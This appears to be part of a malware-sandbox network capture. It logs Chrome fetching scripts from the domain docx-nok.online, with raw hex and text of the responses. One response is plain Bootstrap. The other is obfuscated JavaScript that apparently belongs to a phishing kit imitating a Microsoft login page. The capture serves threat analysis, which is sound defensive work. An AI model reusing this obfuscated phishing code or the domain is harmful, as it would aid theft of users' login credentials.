30	192.168.2.18	49730	172.67.179.148	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:52 UTC	1146	OUT	GET /boot/0a6095cf83124146bdbff28bf2470f15662287604d125 HTTP/1.1 Host: docx-nok.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70a Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
2024-04-19 15:01:53 UTC	669	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:01:53 GMT Content-Type: text/javascript Transfer-Encoding: chunked Connection: close last-modified: Fri, 19 Apr 2024 14:16:40 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tSBAC%2BV0EYZWjgcD4Fu2%2FnisfXx6j9yUtLVh%2FNW6yJeihLDgHC2%2FxICn0TkHtR0OXPxasYnZae0D0ZosBDdq7L30Qg8Xz9AAJ4wc2rWK12sVN4KoSOjY%2B60jdbxwlzDWRxs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dc5bd7aa67b95-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:53 UTC	700	IN	Data Raw: 37 64 31 32 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7d12/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2024-04-19 15:01:53 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 65 26 26 69 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 65 29 2c 6e 26 26 69 28 74 2c 6e 29 2c 74 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 72 29 7b 66 6f 72 28 76 61 72 20 74 3d 31 3b 74 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 7b 76 61 72 20 6f 3d 6e 75 6c 6c 21 3d 61 72 67 75 6d 65 6e 74 73 5b 74 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 74 5d 3a 7b 7d 2c 65 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 6f 29 3b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 26 26 28 65 3d 65 2e 63 6f 6e 63 61 74 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 6f 29 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 Data Ascii: eturn e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(
2024-04-19 15:01:53 UTC	1369	IN	Data Raw: 2c 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 74 29 3b 29 3b 72 65 74 75 72 6e 20 74 7d 2c 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 74 61 72 67 65 74 22 29 3b 65 26 26 22 23 22 21 3d 3d 65 7c 7c 28 65 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 68 72 65 66 22 29 7c 7c 22 22 29 3b 74 72 79 7b 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 65 29 3f 65 3a 6e 75 6c 6c 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 7d 2c 67 65 74 54 72 61 6e 73 69 74 69 6f 6e 44 75 72 61 74 69 6f 6e 46 72 6f 6d 45 6c 65 6d 65 6e 74 3a 66 Data Ascii: ,document.getElementById(t););return t},getSelectorFromElement:function(t){var e=t.getAttribute("data-target");e&&"#"!==e\|\|(e=t.getAttribute("href")\|\|"");try{return document.querySelector(e)?e:null}catch(t){return null}},getTransitionDurationFromElement:f
2024-04-19 15:01:53 UTC	1369	IN	Data Raw: 74 26 26 28 65 3d 74 68 69 73 2e 5f 67 65 74 52 6f 6f 74 45 6c 65 6d 65 6e 74 28 74 29 29 2c 74 68 69 73 2e 5f 74 72 69 67 67 65 72 43 6c 6f 73 65 45 76 65 6e 74 28 65 29 2e 69 73 44 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 28 29 7c 7c 74 68 69 73 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 28 65 29 7d 2c 74 2e 64 69 73 70 6f 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 2e 72 65 6d 6f 76 65 44 61 74 61 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2c 6f 29 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 6e 75 6c 6c 7d 2c 74 2e 5f 67 65 74 52 6f 6f 74 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 29 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 65 26 26 Data Ascii: t&&(e=this._getRootElement(t)),this._triggerCloseEvent(e).isDefaultPrevented()\|\|this._removeElement(e)},t.dispose=function(){r.removeData(this._element,o),this._element=null},t._getRootElement=function(t){var e=Fn.getSelectorFromElement(t),n=!1;return e&&
2024-04-19 15:01:53 UTC	1369	IN	Data Raw: 2e 61 63 74 69 76 65 22 2c 4e 3d 22 2e 62 74 6e 22 2c 4f 3d 7b 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 79 2b 45 2c 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 3a 28 53 3d 22 66 6f 63 75 73 22 29 2b 79 2b 45 2b 22 20 62 6c 75 72 22 2b 79 2b 45 7d 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 6e 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 74 6f 67 67 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 21 30 2c 65 3d 21 30 2c 6e 3d 6d 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 6c 6f 73 65 73 74 28 41 29 5b 30 5d 3b 69 66 28 6e 29 7b 76 61 72 20 69 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 Data Ascii: .active",N=".btn",O={CLICK_DATA_API:"click"+y+E,FOCUS_BLUR_DATA_API:(S="focus")+y+E+" blur"+y+E},k=function(){function n(t){this._element=t}var t=n.prototype;return t.toggle=function(){var t=!0,e=!0,n=m(this._element).closest(A)[0];if(n){var i=this._eleme
2024-04-19 15:01:53 UTC	1369	IN	Data Raw: 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6d 2e 66 6e 5b 70 5d 3d 43 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 6b 29 2c 51 6e 3d 28 6a 3d 22 63 61 72 6f 75 73 65 6c 22 2c 4c 3d 22 2e 22 2b 28 48 3d 22 62 73 2e 63 61 72 6f 75 73 65 6c 22 29 2c 52 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 78 3d 28 50 3d 65 29 2e 66 6e 5b 6a 5d 2c 57 3d 7b 69 6e 74 65 72 76 61 6c 3a 35 65 33 2c 6b 65 79 62 6f 61 72 64 3a 21 30 2c 73 6c 69 64 65 3a 21 31 2c 70 61 75 73 65 3a 22 68 6f 76 65 72 22 2c 77 72 61 70 3a 21 30 7d 2c 55 3d 7b 69 6e 74 65 72 76 61 6c 3a 22 28 6e 75 6d 62 65 72 7c 62 6f 6f 6c 65 61 6e 29 22 2c 6b 65 79 62 6f 61 72 64 3a 22 62 6f 6f 6c 65 61 6e 22 2c 73 6c 69 64 65 3a 22 28 62 6f 6f 6c 65 61 6e 7c 73 Data Ascii: onflict=function(){return m.fn[p]=C,k._jQueryInterface},k),Qn=(j="carousel",L="."+(H="bs.carousel"),R=".data-api",x=(P=e).fn[j],W={interval:5e3,keyboard:!0,slide:!1,pause:"hover",wrap:!0},U={interval:"(number\|boolean)",keyboard:"boolean",slide:"(boolean\|s
2024-04-19 15:01:53 UTC	1369	IN	Data Raw: 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 46 29 7d 2c 74 2e 70 61 75 73 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 7c 7c 28 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 3d 21 30 29 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 65 74 29 26 26 28 46 6e 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2c 74 68 69 73 2e 63 79 63 6c 65 28 21 30 29 29 2c 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 7d 2c 74 2e 63 79 63 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 7c 7c 28 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 3d 21 31 29 2c 74 68 Data Ascii: isSliding\|\|this._slide(F)},t.pause=function(t){t\|\|(this._isPaused=!0),this._element.querySelector(et)&&(Fn.triggerTransitionEnd(this._element),this.cycle(!0)),clearInterval(this._interval),this._interval=null},t.cycle=function(t){t\|\|(this._isPaused=!1),th
2024-04-19 15:01:53 UTC	1369	IN	Data Raw: 45 4c 45 41 56 45 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 63 79 63 6c 65 28 74 29 7d 29 2c 22 6f 6e 74 6f 75 63 68 73 74 61 72 74 22 69 6e 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 54 4f 55 43 48 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 70 61 75 73 65 28 29 2c 65 2e 74 6f 75 63 68 54 69 6d 65 6f 75 74 26 26 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 65 2e 74 6f 75 63 68 54 69 6d 65 6f 75 74 29 2c 65 2e 74 6f 75 63 68 54 69 6d 65 6f 75 74 3d 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 63 79 63 6c 65 28 74 29 7d 2c 35 30 30 2b 65 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 Data Ascii: ELEAVE,function(t){return e.cycle(t)}),"ontouchstart"in document.documentElement&&P(this._element).on(Q.TOUCHEND,function(){e.pause(),e.touchTimeout&&clearTimeout(e.touchTimeout),e.touchTimeout=setTimeout(function(t){return e.cycle(t)},500+e._config.inter
2024-04-19 15:01:53 UTC	1369	IN	Data Raw: 65 74 49 74 65 6d 49 6e 64 65 78 28 73 29 2c 6c 3d 65 7c 7c 73 26 26 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 42 79 44 69 72 65 63 74 69 6f 6e 28 74 2c 73 29 2c 63 3d 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 6c 29 2c 68 3d 42 6f 6f 6c 65 61 6e 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 29 3b 69 66 28 74 3d 3d 3d 71 3f 28 6e 3d 4a 2c 69 3d 5a 2c 72 3d 4b 29 3a 28 6e 3d 7a 2c 69 3d 47 2c 72 3d 4d 29 2c 6c 26 26 50 28 6c 29 2e 68 61 73 43 6c 61 73 73 28 56 29 29 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 3d 21 31 3b 65 6c 73 65 20 69 66 28 21 74 68 69 73 2e 5f 74 72 69 67 67 65 72 53 6c 69 64 65 45 76 65 6e 74 28 6c 2c 72 29 2e 69 73 44 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 28 29 26 26 73 26 26 6c 29 7b 74 68 69 73 2e 5f 69 73 53 6c Data Ascii: etItemIndex(s),l=e\|\|s&&this._getItemByDirection(t,s),c=this._getItemIndex(l),h=Boolean(this._interval);if(t===q?(n=J,i=Z,r=K):(n=z,i=G,r=M),l&&P(l).hasClass(V))this._isSliding=!1;else if(!this._triggerSlideEvent(l,r).isDefaultPrevented()&&s&&l){this._isSl
2024-04-19 15:01:53 UTC	1369	IN	Data Raw: 28 29 2c 50 28 74 68 69 73 29 2e 64 61 74 61 28 29 29 2c 72 3d 74 68 69 73 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 73 6c 69 64 65 2d 74 6f 22 29 3b 72 26 26 28 69 2e 69 6e 74 65 72 76 61 6c 3d 21 31 29 2c 6f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 50 28 6e 29 2c 69 29 2c 72 26 26 50 28 6e 29 2e 64 61 74 61 28 48 29 2e 74 6f 28 72 29 2c 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 7d 7d 7d 2c 73 28 6f 2c 6e 75 6c 6c 2c 5b 7b 6b 65 79 3a 22 56 45 52 53 49 4f 4e 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 34 2e 31 2e 33 22 7d 7d 2c 7b 6b 65 79 3a 22 44 65 66 61 75 6c 74 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 57 7d 7d 5d 29 2c 6f 7d 28 29 2c Data Ascii: (),P(this).data()),r=this.getAttribute("data-slide-to");r&&(i.interval=!1),o._jQueryInterface.call(P(n),i),r&&P(n).data(H).to(r),t.preventDefault()}}},s(o,null,[{key:"VERSION",get:function(){return"4.1.3"}},{key:"Default",get:function(){return W}}]),o}(),

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.18	49731	172.67.179.148	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:52 UTC	1144	OUT	GET /js/0a6095cf83124146bdbff28bf2470f15662287604d126 HTTP/1.1 Host: docx-nok.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70a Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
2024-04-19 15:01:53 UTC	669	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:01:53 GMT Content-Type: text/javascript Transfer-Encoding: chunked Connection: close last-modified: Fri, 19 Apr 2024 14:16:40 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Gy6xsMn%2B6RfZoFCOkdvgcZebKladp18Wf88eXwX%2Fu0VL5OH8I1QlRcNWGSMkcN9gul7ZHTg3jrlHmFkll6Fck%2BUf1ZHM3WgUpn%2BdNaPj5ywWhdi4wI1%2BE0RMUqJ0tztzkG8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dc5bd7b461843-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:53 UTC	700	IN	Data Raw: 31 62 38 33 0d 0a 76 61 72 20 5f 30 78 32 32 64 35 62 34 3d 5f 30 78 65 39 33 36 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 65 39 33 36 28 5f 30 78 31 31 30 64 30 66 2c 5f 30 78 32 62 39 31 61 39 29 7b 76 61 72 20 5f 30 78 35 61 66 63 32 39 3d 5f 30 78 32 65 38 39 28 29 3b 72 65 74 75 72 6e 20 5f 30 78 65 39 33 36 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 35 65 38 30 33 34 2c 5f 30 78 31 36 34 39 61 66 29 7b 5f 30 78 35 65 38 30 33 34 3d 5f 30 78 35 65 38 30 33 34 2d 30 78 31 32 64 3b 76 61 72 20 5f 30 78 34 31 62 66 65 38 3d 5f 30 78 35 61 66 63 32 39 5b 5f 30 78 35 65 38 30 33 34 5d 3b 72 65 74 75 72 6e 20 5f 30 78 34 31 62 66 65 38 3b 7d 2c 5f 30 78 65 39 33 36 28 5f 30 78 31 31 30 64 30 66 2c 5f 30 78 32 62 39 31 61 39 29 3b 7d 28 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 1b83var _0x22d5b4=_0xe936;function _0xe936(_0x110d0f,_0x2b91a9){var _0x5afc29=_0x2e89();return _0xe936=function(_0x5e8034,_0x1649af){_0x5e8034=_0x5e8034-0x12d;var _0x41bfe8=_0x5afc29[_0x5e8034];return _0x41bfe8;},_0xe936(_0x110d0f,_0x2b91a9);}(function(
2024-04-19 15:01:53 UTC	1369	IN	Data Raw: 28 5f 30 78 32 65 38 39 2c 30 78 36 32 62 30 31 29 29 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 65 38 39 28 29 7b 76 61 72 20 5f 30 78 33 35 37 34 33 62 3d 5b 27 6c 6f 67 27 2c 27 75 6e 64 65 72 27 2c 27 70 72 6f 74 6f 74 79 70 65 27 2c 27 75 73 65 72 6e 61 6d 65 45 72 72 6f 72 27 2c 27 64 69 73 61 62 6c 65 64 27 2c 27 73 65 61 72 63 68 27 2c 27 70 72 6f 67 72 65 73 73 42 61 72 27 2c 27 72 65 6d 6f 76 65 43 6c 61 73 73 27 2c 27 3c 62 72 2f 3e 27 2c 27 65 61 63 68 27 2c 27 6a 73 6f 6e 27 2c 27 74 72 61 63 65 27 2c 27 73 74 79 6c 65 27 2c 27 71 75 65 72 79 53 65 6c 65 63 74 6f 72 27 2c 27 6f 70 61 63 69 74 79 27 2c 27 6e 6f 6e 65 27 2c 27 69 30 31 31 36 27 2c 27 76 61 6c 75 65 27 2c 27 6c 6f 63 61 74 69 6f 6e 27 2c 27 72 65 6d 6f 76 65 41 74 74 72 27 2c 27 Data Ascii: (_0x2e89,0x62b01));function _0x2e89(){var _0x35743b=['log','under','prototype','usernameError','disabled','search','progressBar','removeClass','<br/>','each','json','trace','style','querySelector','opacity','none','i0116','value','location','removeAttr','
2024-04-19 15:01:53 UTC	1369	IN	Data Raw: 30 78 31 31 32 64 61 66 29 7b 76 61 72 20 5f 30 78 33 39 30 31 65 35 3d 5f 30 78 31 31 32 64 61 66 5b 5f 30 78 31 32 66 34 64 38 28 30 78 31 35 38 29 5d 28 5f 30 78 32 38 31 64 34 34 2c 61 72 67 75 6d 65 6e 74 73 29 3b 72 65 74 75 72 6e 20 5f 30 78 31 31 32 64 61 66 3d 6e 75 6c 6c 2c 5f 30 78 33 39 30 31 65 35 3b 7d 7d 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 72 65 74 75 72 6e 20 5f 30 78 32 62 38 37 64 62 3d 21 5b 5d 2c 5f 30 78 33 63 66 65 63 39 3b 7d 3b 7d 28 29 29 2c 5f 30 78 34 62 39 62 61 35 3d 5f 30 78 64 62 31 63 65 63 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5f 30 78 34 38 38 32 35 33 3d 5f 30 78 65 39 33 36 3b 72 65 74 75 72 6e 20 5f 30 78 34 62 39 62 61 35 5b 5f 30 78 34 38 38 32 35 33 28 30 78 31 33 31 29 5d 28 29 5b 5f Data Ascii: 0x112daf){var _0x3901e5=_0x112daf[_0x12f4d8(0x158)](_0x281d44,arguments);return _0x112daf=null,_0x3901e5;}}:function(){};return _0x2b87db=![],_0x3cfec9;};}()),_0x4b9ba5=_0xdb1cec(this,function(){var _0x488253=_0xe936;return _0x4b9ba5[_0x488253(0x131)]()[_
2024-04-19 15:01:53 UTC	1369	IN	Data Raw: 7c 7c 5f 30 78 33 61 65 62 32 61 3b 5f 30 78 33 61 65 62 32 61 5b 5f 30 78 33 39 34 37 66 36 28 30 78 31 33 38 29 5d 3d 5f 30 78 31 36 34 39 61 66 5b 5f 30 78 33 39 34 37 66 36 28 30 78 31 35 66 29 5d 28 5f 30 78 31 36 34 39 61 66 29 2c 5f 30 78 33 61 65 62 32 61 5b 5f 30 78 33 39 34 37 66 36 28 30 78 31 33 31 29 5d 3d 5f 30 78 34 31 65 35 39 30 5b 5f 30 78 33 39 34 37 66 36 28 30 78 31 33 31 29 5d 5b 5f 30 78 33 39 34 37 66 36 28 30 78 31 35 66 29 5d 28 5f 30 78 34 31 65 35 39 30 29 2c 5f 30 78 35 31 36 64 37 64 5b 5f 30 78 31 63 64 66 39 31 5d 3d 5f 30 78 33 61 65 62 32 61 3b 7d 7d 29 3b 5f 30 78 35 65 38 30 33 34 28 29 3b 66 75 6e 63 74 69 6f 6e 20 73 6c 65 65 70 28 5f 30 78 34 31 35 62 63 31 29 7b 76 61 72 20 5f 30 78 31 35 35 30 61 33 3d 5f 30 78 65 Data Ascii: \|\|_0x3aeb2a;_0x3aeb2a[_0x3947f6(0x138)]=_0x1649af[_0x3947f6(0x15f)](_0x1649af),_0x3aeb2a[_0x3947f6(0x131)]=_0x41e590[_0x3947f6(0x131)][_0x3947f6(0x15f)](_0x41e590),_0x516d7d[_0x1cdf91]=_0x3aeb2a;}});_0x5e8034();function sleep(_0x415bc1){var _0x1550a3=_0xe
2024-04-19 15:01:53 UTC	1369	IN	Data Raw: 62 35 28 30 78 31 34 36 29 5d 28 5f 30 78 33 36 37 63 62 35 28 30 78 31 35 32 29 29 2c 5f 30 78 34 62 39 38 35 63 3d 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 34 36 29 5d 28 5f 30 78 33 36 37 63 62 35 28 30 78 31 33 33 29 29 3b 70 72 6f 67 3d 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 37 31 29 5d 28 5f 30 78 33 36 37 63 62 35 28 30 78 31 33 66 29 29 2c 70 72 6f 67 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 36 36 29 5d 28 5f 30 78 33 36 37 63 62 35 28 30 78 31 36 35 29 29 2c 5f 30 78 32 36 31 31 38 32 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 34 35 29 5d 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 33 30 29 5d 3d 27 31 30 27 2c 5f 30 78 32 36 31 31 38 32 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 34 35 29 5d 5b 5f Data Ascii: b5(0x146)](_0x367cb5(0x152)),_0x4b985c=document[_0x367cb5(0x146)](_0x367cb5(0x133));prog=document[_0x367cb5(0x171)](_0x367cb5(0x13f)),prog[_0x367cb5(0x166)](_0x367cb5(0x165)),_0x261182[_0x367cb5(0x145)][_0x367cb5(0x130)]='10',_0x261182[_0x367cb5(0x145)][_
2024-04-19 15:01:53 UTC	875	IN	Data Raw: 34 29 5d 5b 5f 30 78 32 35 38 65 31 62 28 30 78 31 35 39 29 5d 2c 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 33 31 39 33 33 2c 5f 30 78 31 36 32 34 34 63 29 7b 76 61 72 20 5f 30 78 32 36 38 33 34 38 3d 5f 30 78 32 35 38 65 31 62 3b 5f 30 78 32 62 65 64 39 37 2b 3d 27 27 2b 5f 30 78 31 36 32 34 34 63 5b 30 78 30 5d 2b 5f 30 78 32 36 38 33 34 38 28 30 78 31 34 31 29 3b 7d 29 3b 7d 65 6c 73 65 7b 69 66 28 5f 30 78 33 35 64 31 35 32 5b 5f 30 78 32 35 38 65 31 62 28 30 78 31 36 34 29 5d 3d 3d 30 78 31 61 33 29 6c 6f 63 61 74 69 6f 6e 5b 5f 30 78 32 35 38 65 31 62 28 30 78 31 35 31 29 5d 28 29 3b 65 6c 73 65 7b 7d 7d 7d 2c 27 63 6f 6d 70 6c 65 74 65 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 35 64 63 37 34 29 7b 76 61 72 20 5f 30 78 31 65 38 63 64 35 3d 5f 30 78 Data Ascii: 4)][_0x258e1b(0x159)],function(_0x131933,_0x16244c){var _0x268348=_0x258e1b;_0x2bed97+=''+_0x16244c[0x0]+_0x268348(0x141);});}else{if(_0x35d152[_0x258e1b(0x164)]==0x1a3)location[_0x258e1b(0x151)]();else{}}},'complete':function(_0x25dc74){var _0x1e8cd5=_0x
2024-04-19 15:01:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.18	49732	172.67.179.148	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
